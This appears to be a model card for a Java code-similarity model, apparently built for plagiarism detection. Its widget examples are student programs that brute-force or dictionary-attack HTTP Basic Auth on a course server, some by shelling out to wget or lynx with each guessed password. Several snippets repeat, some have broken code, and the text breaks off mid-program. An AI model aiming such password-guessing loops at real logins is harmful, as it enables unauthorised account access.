Model: buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-ep2-bs32-noEval
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, roberta, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:33411, loss:SoftmaxLoss, dataset:buelfhood/SOCO_TRAIN_java, arxiv:1908.10084, base_model:microsoft/unixcoder-base-unimodal, base_model:finetune:microsoft/unixcoder-base-unimodal, text-embeddings-inference, endpoints_compatible, region:us
Base models (finetune): id: microsoft/unixcoder-base-unimodal
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:33411, loss:SoftmaxLoss
base_model: microsoft/unixcoder-base-unimodal
widget: source_sentence: import java.io.*;
import java.net.*;











public class Dictionary
{
   private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
   private static String password;
   private static int length;          
   private static int t_counter;       
   private static int f_counter;       
                                       
   private static int respCode;        
   private static BufferedReader buf;  

   public Dictionary()
   {
      FileReader fRead;
      Authenticator.setDefault(new DictionaryAuthenticator());
      t_counter = 0;
      f_counter = 0;
      length = 0;

      try
      {
         fRead = new FileReader("/usr/share/lib/dict/words");
         buf = new BufferedReader(fRead);
      }
      catch (FileNotFoundException e)
      {
         System.out.println("File not found");
      }
   }

   public static void main(String[] args)
   {
      Dictionary dict = new Dictionary();
      String file = " ";
      while(respCode != 200 )
      {
         file = dict.fetchURL();
      }
      System.out.println("Number of attempts: " + t_counter);
      System.out.println("Password: " + password);
      System.out.println(file);
   }

   private String fetchURL()
   {
      StringWriter sw = new StringWriter();
      PrintWriter pw = new PrintWriter();

      try
      {
         URL url = new URL(urlString);
         HttpURLConnection huc = (HttpURLConnection)url.openConnection();
         respCode = huc.getResponseCode();
         InputStream content = huc.getInputStream();
         BufferedReader in = 
            new BufferedReader (new InputStreamReader (content));
         String line;
         while ((line = in.readLine()) != null) 
         {
            pw.println(line);
         }
      } catch (IOException e) {
         pw.println("Error  URL");
      }
      return sw.toString();
   }
            
   class DictionaryAuthenticator extends Authenticator 
   {
      private String username = "";

      protected PasswordAuthentication getPasswordAuthentication()
      {
         return new PasswordAuthentication(username,generatePassword());
      }

      protected char[] generatePassword()
      {
         String word = null;
         int chars;
         char c[] = null;
 
         chars = 0;
       
         if(f_counter == 0) 
         
         
         { 
            try
            {
               
               {
                  word = buf.readLine();
                  if(word != null)
                  {
                     length = word.length();
                     chars = 0;
                     for(int i=0; i<length; i++)
                     {
                        if(Character.isLetter(word.charAt(i))) chars++;
                     }
                  }
               }
               while( word != null && (length > 3 || chars != length));

            }
            catch (IOException ioe)
            {
               System.out.println("IO Error: " + ioe);
            }

            if(word != null)
            {
               c = word.toCharArray(); 
               password = new String(c);
            } 
            else
            {
               System.out.println(" more words in dictionary");
               System.exit(0);
            }

            f_counter++;
         } 
         else
         
         {
            c = password.toCharArray(); 
            for(int i=0; i< length; i++)
            {
               if(Character.isLowerCase(c[i]))
               {
                  c[i] = Character.toUpperCase(c[i]);
               }
               else
               {
                  c[i] = Character.toLowerCase(c[i]);
               }
            }
            password = new String(c);
            f_counter = 0;
         }

         t_counter++;

         return c;
      }
   }
}

sentences: 
import java.net.*;
import java.io.*;
import java.util.*;


public class Dictionary {

  public static void main(String args[])
  {
  int i,j,k;
  String pass = new String();
  String UserPass = new String();
  String status = new String();
  String status1 = new String();
  BasicAuth auth = new BasicAuth();
  URLConnection  connect;
   int start,end,diff;
  try {
               URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");



              start =System.currentTimeMillis();

               BufferedReader dis = new BufferedReader(new FileReader("words"));


         while ((pass = dis.readLine()) != null)
          {


              UserPass= auth.encode("",pass);

              connect = url.openConnection();
              connect.setDoInput(true);
              connect.setDoOutput(true);

              connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
              connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
              connect.setRequestProperty("Authorization"," " + UserPass);
              connect.connect();
              status =connect.getHeaderField(0);
              status1 = status.substring( 9,12);
             if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
              {
              System.out.println("Password is " + pass);
              end=System.currentTimeMillis();
              diff = end - start;
              System.out.println("Time Taken = " + (diff/1000) + " secs");
              System.exit(0);
              }
              ((HttpURLConnection)connect).disconnect();
              connect = null;
            }

            System.out.println(" match found");

            dis.close();
            dis=null;

            connect = null;

     }

    catch (MalformedURLException malerr)
  {
  System.err.println("Unable  Open URL" + malerr);
  }

  catch (Exception ioerr)
  {
  System.err.println("Unable  open file" + ioerr);
  }




  }
}, 

import java.*;
import java.io.*;
import java.util.*;

public class BruteForce
{
 public final static int TOTAL_TIMES=52*52*52;
 public char[] passwd;
 public static void main(String[] args) throws IOException
 {
  BruteForce bf=new BruteForce();
  System.out.println(" cracking...");
   time1=new Date().getTime();
  bf.doBruteForce(time1);
	 time2=new Date().getTime();
	System.out.println("Finish cracking.");
	System.out.println(" password found.");
  System.out.println("costs "+(time2-time1)+" milliseconds");
  System.exit(1);
 }

 void doBruteForce(int time1) throws IOException
 {
  passwd=new char[3];
  Runtime rt=Runtime.getRuntime();
   num=0;
  for(int i=(int)'z';i>=(int)'A';i--)
  {
    if(i==96)
     i=90;
    passwd[0]=(char)i;
    for(int j=(int)'z';j>=(int)'A';j--)
    {
     if(j==96)
      j=90;
     passwd[1]=(char)j;
     for(int k=(int)'z';k>=(int)'A';k--)
     {
      if(k==96)
       k=90;
      passwd[2]=(char)k;
      String password=new String(passwd);
			try
      {
				num++;

				
				Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
				
				String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
	      p.destroy();

				if(ln!=null)
        
        if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
        {

          System.out.println(password);
					System.out.println("Finish cracking.");
					System.out.println(ln);
					System.out.println("password is "+password);
           time2=new Date().getTime();
          System.out.println("costs "+(time2-time1)+" milliseconds");
          System.out.println("The number of attempts is "+num);
		      System.exit(1);
        }
        
        

      } catch (FileNotFoundException exc) {
        System.out.println ("File Not Found");
				k++;
      } catch (IOException exc) {
		    System.out.println ("IOException");
        k++;
      } catch (NullPointerException exc) {
		    System.out.println ("NullPointerException");
        k++;
	  	}

     }
    }
  }
 }
}
, 

import java.*;
import java.io.*;
import java.util.*;

public class BruteForce
{
 public final static int TOTAL_TIMES=52*52*52;
 public char[] passwd;
 public static void main(String[] args) throws IOException
 {
  BruteForce bf=new BruteForce();
  System.out.println(" cracking...");
   time1=new Date().getTime();
  bf.doBruteForce(time1);
	 time2=new Date().getTime();
	System.out.println("Finish cracking.");
	System.out.println(" password found.");
  System.out.println("costs "+(time2-time1)+" milliseconds");
  System.exit(1);
 }

 void doBruteForce(int time1) throws IOException
 {
  passwd=new char[3];
  Runtime rt=Runtime.getRuntime();
   num=0;
  for(int i=(int)'z';i>=(int)'A';i--)
  {
    if(i==96)
     i=90;
    passwd[0]=(char)i;
    for(int j=(int)'z';j>=(int)'A';j--)
    {
     if(j==96)
      j=90;
     passwd[1]=(char)j;
     for(int k=(int)'z';k>=(int)'A';k--)
     {
      if(k==96)
       k=90;
      passwd[2]=(char)k;
      String password=new String(passwd);
			try
      {
				num++;

				
				Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
				
				String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
	      p.destroy();

				if(ln!=null)
        
        if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
        {

          System.out.println(password);
					System.out.println("Finish cracking.");
					System.out.println(ln);
					System.out.println("password is "+password);
           time2=new Date().getTime();
          System.out.println("costs "+(time2-time1)+" milliseconds");
          System.out.println("The number of attempts is "+num);
		      System.exit(1);
        }
        
        

      } catch (FileNotFoundException exc) {
        System.out.println ("File Not Found");
				k++;
      } catch (IOException exc) {
		    System.out.println ("IOException");
        k++;
      } catch (NullPointerException exc) {
		    System.out.println ("NullPointerException");
        k++;
	  	}

     }
    }
  }
 }
}
, source_sentence: 

import java.io.*;
import java.*;
import java.util.StringTokenizer;

public class Dictionary
{
   public static void main(String args[])
   {
      final String DICT_FILE = "/usr/share/lib/dict/words"; 
      String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";  
      String password;
      String s = null;
      int num_tries = 0;
      
      try
      {
         
         BufferedReader dict_word = new BufferedReader
                                  (new FileReader (DICT_FILE));
  
         
         while((password = dict_word.readLine())!= null)
         {        
            try 
            {
               
               Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);
              
               BufferedReader stdInput = new BufferedReader(new 
                     InputStreamReader(p.getInputStream()));

               BufferedReader stdError = new BufferedReader(new 
                     InputStreamReader(p.getErrorStream()));

               
               while ((s = stdInput.readLine()) != null)
               {
                  System.out.println(s);
               }
                  
               
               while ((s = stdError.readLine()) != null)
               {
                  System.out.println(s);
               }

               try
	       {
                  p.waitFor(); 
               }
               catch (InterruptedException g)  
               {
               }  

               num_tries++;
                  
               if((p.exitValue()) == 0) 
               {       
                  System.out.println("**********PASSWORD IS: " + password);
	          System.out.println("**********NUMBER OF TRIES: " + num_tries);
                  System.exit(1);
               }
            }
            catch (IOException e)
            {
               System.out.println("exception happened - here's what I know: ");
               e.printStackTrace();
               System.exit(-1);
            }
         }
         
         System.out.println("DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD");
         System.out.println("**********Sorry, password was not found in dictionary file");
         System.exit(1);

      }
      catch (FileNotFoundException exception)
      {
         System.out.println(exception);
      }
      catch (IOException exception)
      {
         System.out.println(exception);
      }
   }
}
  

sentences: 
import java.net.*;
import java.io.*;
import java.util.*;


public class Dictionary {

  public static void main(String args[])
  {
  int i,j,k;
  String pass = new String();
  String UserPass = new String();
  String status = new String();
  String status1 = new String();
  BasicAuth auth = new BasicAuth();
  URLConnection  connect;
   int start,end,diff;
  try {
               URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");



              start =System.currentTimeMillis();

               BufferedReader dis = new BufferedReader(new FileReader("words"));


         while ((pass = dis.readLine()) != null)
          {


              UserPass= auth.encode("",pass);

              connect = url.openConnection();
              connect.setDoInput(true);
              connect.setDoOutput(true);

              connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
              connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
              connect.setRequestProperty("Authorization"," " + UserPass);
              connect.connect();
              status =connect.getHeaderField(0);
              status1 = status.substring( 9,12);
             if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
              {
              System.out.println("Password is " + pass);
              end=System.currentTimeMillis();
              diff = end - start;
              System.out.println("Time Taken = " + (diff/1000) + " secs");
              System.exit(0);
              }
              ((HttpURLConnection)connect).disconnect();
              connect = null;
            }

            System.out.println(" match found");

            dis.close();
            dis=null;

            connect = null;

     }

    catch (MalformedURLException malerr)
  {
  System.err.println("Unable  Open URL" + malerr);
  }

  catch (Exception ioerr)
  {
  System.err.println("Unable  open file" + ioerr);
  }




  }
}, 
import java.util.*;


public class Cracker
{
   private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
   private Vector v;

   public Cracker()
   {
      v = new Vector( 52);
   }
   public void loadLetters()
   {
      int i;

      for( i = 0; i < letters.length; i++)
      {
	 String s = new StringBuffer().append( letters[i]).toString();
         v.add( s);
      }
   }
   public Vector getVictor()
   {
      return ;
   }
   public void loadPairs()
   {
      int i,j;

      for( i = 0; i < letters.length - 1; i++)
      {
         for( j = i + 1; j < letters.length; j++)
         {
            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
	    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
	    v.add( s1);
	    v.add( s2);
	 }
      }
      for( i = 0; i < letters.length; i++)
      {
         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
	 v.add( s3);
      }
   }
   public void loadTriples()
   {
      int i, j, k;
      
      for( i = 0; i < letters.length; i++)
      {
         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
	 v.add( s4);
      }
      for( i = 0; i < letters.length - 1; i++)
      {
         for( j = i + 1; j < letters.length; j++)
	 {
	    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
	    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
	    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
	    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
	    String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
	    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
	    v.add( s5);
	    v.add( s6);
	    v.add( s7);
	    v.add( s8);
	    v.add( s9);
	    v.add( s10);
	 }
      }
      for( i = 0; i < letters.length - 2; i++)
      {
         for( j = i + 1; j < letters.length - 1; j++)
	 {
	    for( k = i + 2; k < letters.length; k++)
	    {
	       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
	       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
	       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
	       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
	       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
	       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
	       v.add( s11);
	       v.add( s12);
	       v.add( s13);
	       v.add( s14);
	       v.add( s15);
	       v.add( s16);
	    }
	 }
      }
   }
         
   public static void main( String[] args)
   {
      Cracker cr = new Cracker();
      cr.loadLetters();
      cr.loadPairs();
      cr.loadTriples();
      System.out.println(" far "+cr.getVictor().size()+" elements loaded");
   }
}
      
, 
import java.net.*;
import java.io.*;
import java.util.*;


public class Dictionary {

  public static void main(String args[])
  {
  int i,j,k;
  String pass = new String();
  String UserPass = new String();
  String status = new String();
  String status1 = new String();
  BasicAuth auth = new BasicAuth();
  URLConnection  connect;
   int start,end,diff;
  try {
               URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");



              start =System.currentTimeMillis();

               BufferedReader dis = new BufferedReader(new FileReader("words"));


         while ((pass = dis.readLine()) != null)
          {


              UserPass= auth.encode("",pass);

              connect = url.openConnection();
              connect.setDoInput(true);
              connect.setDoOutput(true);

              connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
              connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
              connect.setRequestProperty("Authorization"," " + UserPass);
              connect.connect();
              status =connect.getHeaderField(0);
              status1 = status.substring( 9,12);
             if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
              {
              System.out.println("Password is " + pass);
              end=System.currentTimeMillis();
              diff = end - start;
              System.out.println("Time Taken = " + (diff/1000) + " secs");
              System.exit(0);
              }
              ((HttpURLConnection)connect).disconnect();
              connect = null;
            }

            System.out.println(" match found");

            dis.close();
            dis=null;

            connect = null;

     }

    catch (MalformedURLException malerr)
  {
  System.err.println("Unable  Open URL" + malerr);
  }

  catch (Exception ioerr)
  {
  System.err.println("Unable  open file" + ioerr);
  }




  }
}, source_sentence: import java.net.*;
import java.util.*;

public class BruteForce {

   public static void main(String[] args) {
      new CrackAttempt();
   }
}

class CrackAttempt {
   public CrackAttempt() {
      final int MAX_LENGTH = 3;
      boolean auth = false;
      Date  = new Date();
      boolean morePasswords = true;
      int passPtr = 0;
      StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
      char[] password = new char[MAX_LENGTH];

      password[0] = validChars.charAt(0);
      while (!auth && morePasswords) {
         String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
         try {
            
            Authenticator.setDefault(new CrackAuth(password));
            URL url = new URL(resource);
            HttpURLConnection conn = (HttpURLConnection)url.openConnection();
            conn.setRequestMethod("HEAD");
            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
               System.out.println("cracked with " + new String(password));
               auth = true;
            }
         } catch (Exception e) {
            System.out.println(" was  exception: " + e.getMessage());
         }
         int count = passPtr;
         while (true) {
            if (password[count] == validChars.charAt(validChars.length() - 1)) {
               password[count] = validChars.charAt(0);
               count--;
            } else {
               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
               break;
            }
            if (count < 0) {
               
               if (passPtr < MAX_LENGTH - 1) {
                  passPtr++;
                  password[passPtr] = validChars.charAt(0);
               } else {
                  morePasswords = false;
               }
               break;
            }
         }
         
      } 
      if (!auth) {
         System.out.println("Unable  determine password");
      } else {
          time = (new Date()).getTime() - start.getTime();
         System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
      }
   }
}

class CrackAuth extends Authenticator {
   char[] password;
   public CrackAuth(char[] password) {
      this.password = password;
   }

   protected PasswordAuthentication getPasswordAuthentication()
   {
      String user = "";
      return new PasswordAuthentication(user, password);
   }
}

sentences: 

import java.io.*;
import java.*;
import java.util.StringTokenizer;

public class Dictionary
{
   public static void main(String args[])
   {
      final String DICT_FILE = "/usr/share/lib/dict/words"; 
      String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";  
      String password;
      String s = null;
      int num_tries = 0;
      
      try
      {
         
         BufferedReader dict_word = new BufferedReader
                                  (new FileReader (DICT_FILE));
  
         
         while((password = dict_word.readLine())!= null)
         {        
            try 
            {
               
               Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);
              
               BufferedReader stdInput = new BufferedReader(new 
                     InputStreamReader(p.getInputStream()));

               BufferedReader stdError = new BufferedReader(new 
                     InputStreamReader(p.getErrorStream()));

               
               while ((s = stdInput.readLine()) != null)
               {
                  System.out.println(s);
               }
                  
               
               while ((s = stdError.readLine()) != null)
               {
                  System.out.println(s);
               }

               try
	       {
                  p.waitFor(); 
               }
               catch (InterruptedException g)  
               {
               }  

               num_tries++;
                  
               if((p.exitValue()) == 0) 
               {       
                  System.out.println("**********PASSWORD IS: " + password);
	          System.out.println("**********NUMBER OF TRIES: " + num_tries);
                  System.exit(1);
               }
            }
            catch (IOException e)
            {
               System.out.println("exception happened - here's what I know: ");
               e.printStackTrace();
               System.exit(-1);
            }
         }
         
         System.out.println("DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD");
         System.out.println("**********Sorry, password was not found in dictionary file");
         System.exit(1);

      }
      catch (FileNotFoundException exception)
      {
         System.out.println(exception);
      }
      catch (IOException exception)
      {
         System.out.println(exception);
      }
   }
}
  
, 

import java.io.*;
import java.*;
import java.util.StringTokenizer;

public class Dictionary
{
   public static void main(String args[])
   {
      final String DICT_FILE = "/usr/share/lib/dict/words"; 
      String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";  
      String password;
      String s = null;
      int num_tries = 0;
      
      try
      {
         
         BufferedReader dict_word = new BufferedReader
                                  (new FileReader (DICT_FILE));
  
         
         while((password = dict_word.readLine())!= null)
         {        
            try 
            {
               
               Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);
              
               BufferedReader stdInput = new BufferedReader(new 
                     InputStreamReader(p.getInputStream()));

               BufferedReader stdError = new BufferedReader(new 
                     InputStreamReader(p.getErrorStream()));

               
               while ((s = stdInput.readLine()) != null)
               {
                  System.out.println(s);
               }
                  
               
               while ((s = stdError.readLine()) != null)
               {
                  System.out.println(s);
               }

               try
	       {
                  p.waitFor(); 
               }
               catch (InterruptedException g)  
               {
               }  

               num_tries++;
                  
               if((p.exitValue()) == 0) 
               {       
                  System.out.println("**********PASSWORD IS: " + password);
	          System.out.println("**********NUMBER OF TRIES: " + num_tries);
                  System.exit(1);
               }
            }
            catch (IOException e)
            {
               System.out.println("exception happened - here's what I know: ");
               e.printStackTrace();
               System.exit(-1);
            }
         }
         
         System.out.println("DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD");
         System.out.println("**********Sorry, password was not found in dictionary file");
         System.exit(1);

      }
      catch (FileNotFoundException exception)
      {
         System.out.println(exception);
      }
      catch (IOException exception)
      {
         System.out.println(exception);
      }
   }
}
  
, 
import java.util.*;


public class Cracker
{
   private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
   private Vector v;

   public Cracker()
   {
      v = new Vector( 52);
   }
   public void loadLetters()
   {
      int i;

      for( i = 0; i < letters.length; i++)
      {
	 String s = new StringBuffer().append( letters[i]).toString();
         v.add( s);
      }
   }
   public Vector getVictor()
   {
      return ;
   }
   public void loadPairs()
   {
      int i,j;

      for( i = 0; i < letters.length - 1; i++)
      {
         for( j = i + 1; j < letters.length; j++)
         {
            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
	    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
	    v.add( s1);
	    v.add( s2);
	 }
      }
      for( i = 0; i < letters.length; i++)
      {
         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
	 v.add( s3);
      }
   }
   public void loadTriples()
   {
      int i, j, k;
      
      for( i = 0; i < letters.length; i++)
      {
         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
	 v.add( s4);
      }
      for( i = 0; i < letters.length - 1; i++)
      {
         for( j = i + 1; j < letters.length; j++)
	 {
	    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
	    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
	    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
	    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
	    String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
	    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
	    v.add( s5);
	    v.add( s6);
	    v.add( s7);
	    v.add( s8);
	    v.add( s9);
	    v.add( s10);
	 }
      }
      for( i = 0; i < letters.length - 2; i++)
      {
         for( j = i + 1; j < letters.length - 1; j++)
	 {
	    for( k = i + 2; k < letters.length; k++)
	    {
	       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
	       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
	       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
	       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
	       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
	       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
	       v.add( s11);
	       v.add( s12);
	       v.add( s13);
	       v.add( s14);
	       v.add( s15);
	       v.add( s16);
	    }
	 }
      }
   }
         
   public static void main( String[] args)
   {
      Cracker cr = new Cracker();
      cr.loadLetters();
      cr.loadPairs();
      cr.loadTriples();
      System.out.println(" far "+cr.getVictor().size()+" elements loaded");
   }
}
      
, source_sentence: import java.io.*;
import java.net.*;











public class BruteForce
{
   private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
   private static String password;
   private static int length;          
   private static int t_counter;       
   private static int f_counter;       
                                       
   private static int cases;           
                                       
   private static int respCode;        

   public BruteForce()
   {
      Authenticator.setDefault(new BruteForceAuthenticator());
      t_counter = 0;
      f_counter = 0;
      cases = 0;
   }

   public static void main (String[] args)
   {
      BruteForce bf = new BruteForce();
      String file = " ";
      while(respCode != 200)
      {
         file = bf.fetchURL();
      }
      System.out.println("Number of attempts: " + t_counter);
      System.out.println("Password: " + password);
      System.out.println(file);
   }

   private String fetchURL()
   {
      StringWriter sw = new StringWriter();
      PrintWriter pw = new PrintWriter();

      try
      {
         URL url = new URL(urlString);
         HttpURLConnection huc = (HttpURLConnection)url.openConnection();
         respCode = huc.getResponseCode();
         InputStream content = huc.getInputStream();
         BufferedReader in = 
            new BufferedReader (new InputStreamReader (content));
         String line;
         while ((line = in.readLine()) != null) 
         {
            pw.println(line);
         }
      } catch (IOException e) {
         pw.println("Error  URL");
      }
      return sw.toString();
   }
            
   class BruteForceAuthenticator extends Authenticator 
   {
      private String username = "";

      protected PasswordAuthentication getPasswordAuthentication()
      {
         return new PasswordAuthentication(username,generatePassword());
      }

      protected char[] generatePassword()
      {
         int i,j,k;
         int n = 26;
         String letters1 = "qwertyuiopasdfghjklzxcvbnm";
         String letters2 = "abcdefghijklmnopqrstuvwxyz";
 
         i=0;
         j=0;
         k=0;
   
         
         
         if(t_counter == 0)
         {
            length = 1;
            cases = 0;
            f_counter = 0;
         }
         if(t_counter == 2*n)
         {
            length = 2;
            cases = 0;
            f_counter = 0;
         }
         if(t_counter == (2*n + 4*n*n))
         {
            length = 3;
            cases = 0;
            f_counter = 0;
         }

         char c[] = new char[length];

         
         
         if(length == 1)
         {
            if(f_counter == n)
            {
               cases++;
               f_counter = 0;
            }
            i = f_counter;

         } else if(length == 2) 
         {
            if(f_counter == n*n)
            {
               cases++;
               f_counter = 0;
            }
            i = f_counter/n;
            j = f_counter - i*n;

         } else if(length == 3) 
         {
            if(f_counter == n*n*n)
            {
               cases++;
               f_counter = 0;
            }
            i = f_counter/(n*n);
            j = (f_counter - i*n*n)/n;
            k = f_counter - i*n*n - j*n;
         }

         
         switch(cases)
         {
            case 0:
               c[0] = letters1.charAt(i);
               if(length > 1) c[1] = letters1.charAt(j);
               if(length > 2) c[2] = letters1.charAt(k);
               break;
            case 1:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));
               if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            case 2:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               c[1] = letters1.charAt(j);
               if(length > 2) c[2] = letters1.charAt(k);
               break;
            case 3:
               c[0] = letters1.charAt(i);
               c[1] = Character.toUpperCase(letters1.charAt(j));
               if(length > 2) c[2] = letters1.charAt(k);
               break;
            case 4:
               c[0] = letters1.charAt(i);
               c[1] = letters1.charAt(j);
               c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            case 5:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               c[1] = Character.toUpperCase(letters1.charAt(j));
               c[2] = letters1.charAt(k);
               break;
            case 6:
               c[0] = letters1.charAt(i);
               c[1] = Character.toUpperCase(letters1.charAt(j));
               c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            case 7:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               c[1] = letters1.charAt(j);
               c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            default:
               break;
         }

         f_counter++;
         t_counter++;

         password = new String(c);
         return c;
      }
   }
}

sentences: 

import java.io.*;
import java.*;
import java.util.StringTokenizer;

public class Dictionary
{
   public static void main(String args[])
   {
      final String DICT_FILE = "/usr/share/lib/dict/words"; 
      String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";  
      String password;
      String s = null;
      int num_tries = 0;
      
      try
      {
         
         BufferedReader dict_word = new BufferedReader
                                  (new FileReader (DICT_FILE));
  
         
         while((password = dict_word.readLine())!= null)
         {        
            try 
            {
               
               Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);
              
               BufferedReader stdInput = new BufferedReader(new 
                     InputStreamReader(p.getInputStream()));

               BufferedReader stdError = new BufferedReader(new 
                     InputStreamReader(p.getErrorStream()));

               
               while ((s = stdInput.readLine()) != null)
               {
                  System.out.println(s);
               }
                  
               
               while ((s = stdError.readLine()) != null)
               {
                  System.out.println(s);
               }

               try
	       {
                  p.waitFor(); 
               }
               catch (InterruptedException g)  
               {
               }  

               num_tries++;
                  
               if((p.exitValue()) == 0) 
               {       
                  System.out.println("**********PASSWORD IS: " + password);
	          System.out.println("**********NUMBER OF TRIES: " + num_tries);
                  System.exit(1);
               }
            }
            catch (IOException e)
            {
               System.out.println("exception happened - here's what I know: ");
               e.printStackTrace();
               System.exit(-1);
            }
         }
         
         System.out.println("DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD");
         System.out.println("**********Sorry, password was not found in dictionary file");
         System.exit(1);

      }
      catch (FileNotFoundException exception)
      {
         System.out.println(exception);
      }
      catch (IOException exception)
      {
         System.out.println(exception);
      }
   }
}
  
, 
import java.net.*;
import java.io.*;
import java.util.*;


public class Dictionary {

  public static void main(String args[])
  {
  int i,j,k;
  String pass = new String();
  String UserPass = new String();
  String status = new String();
  String status1 = new String();
  BasicAuth auth = new BasicAuth();
  URLConnection  connect;
   int start,end,diff;
  try {
               URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");



              start =System.currentTimeMillis();

               BufferedReader dis = new BufferedReader(new FileReader("words"));


         while ((pass = dis.readLine()) != null)
          {


              UserPass= auth.encode("",pass);

              connect = url.openConnection();
              connect.setDoInput(true);
              connect.setDoOutput(true);

